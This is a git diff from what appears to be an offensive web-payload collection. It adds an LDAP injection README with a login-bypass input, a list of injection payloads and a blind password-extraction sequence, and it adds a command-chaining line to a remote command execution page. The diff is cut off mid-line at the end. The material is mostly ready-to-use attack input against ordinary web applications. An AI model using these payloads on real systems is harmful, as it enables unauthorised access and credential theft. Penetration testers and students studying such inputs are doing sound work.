diff --git a/CVE Shellshock Heartbleed Struts2/Apache Struts2.py b/CVE Shellshock Heartbleed Struts2/Apache Struts2.py old mode 100644 new mode 100755 diff --git a/Insecured source code management/README.md b/Insecured source code management/README.md index 2ede2162..7213a2a2 100644 --- a/Insecured source code management/README.md +++ b/Insecured source code management/README.md @@ -1,7 +1,7 @@ # GIT - Source management Github example -1. Check 403 error (Forbidden) for .git +1. Check 403 error (Forbidden) for .git or even better : directory listing 2. Git saves all informations in log file .git/logs/HEAD (try 'head' too) ``` diff --git a/LDAP injection/README.md b/LDAP injection/README.md new file mode 100644 index 00000000..0e943285 --- /dev/null +++ b/LDAP injection/README.md @@ -0,0 +1,56 @@ +# LDAP injection +LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. + +## Exploitation +``` +user = *)(uid=*))(|(uid=* +pass = password +query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))" +``` + +## Payloads +``` +* +*)(& +*))%00 +*()|%26' +*()|&' +*(|(mail=*)) +*(|(objectclass=*)) +*)(uid=*))(|(uid=* +*/* +*| +/ +// +//* +@* +| +admin* +admin*)((|userpassword=*) +admin*)((|userPassword=*) +x' or name()='username' or 'x'='y +``` + +## Blind Exploitation +We can extract using a bypass login +``` +(&(sn=administrator)(password=*)) : OK +(&(sn=administrator)(password=A*)) : KO +(&(sn=administrator)(password=B*)) : KO +... +(&(sn=administrator)(password=M*)) : OK +(&(sn=administrator)(password=MA*)) : KO +(&(sn=administrator)(password=MB*)) : KO +... +(&(sn=administrator)(password=MY*)) : OK +(&(sn=administrator)(password=MYA*)) : KO +(&(sn=administrator)(password=MYB*)) : KO +(&(sn=administrator)(password=MYC*)) : KO +... +(&(sn=administrator)(password=MYK*)) : OK +(&(sn=administrator)(password=MYKE)) : OK +``` + +## Thanks to +* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) +* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) diff --git a/Remote commands execution/README.md b/Remote commands execution/README.md index ff251921..afd24136 100644 --- a/Remote commands execution/README.md +++ b/Remote commands execution/README.md @@ -17,10 +17,14 @@ Code execution by chaining commands original_cmd_by_server; ls original_cmd_by_server && ls original_cmd_by_server | ls +original_cmd_by_server `ls` ``` Code execution without space - Linux ``` +swissky@crashlab:~/Www$ cat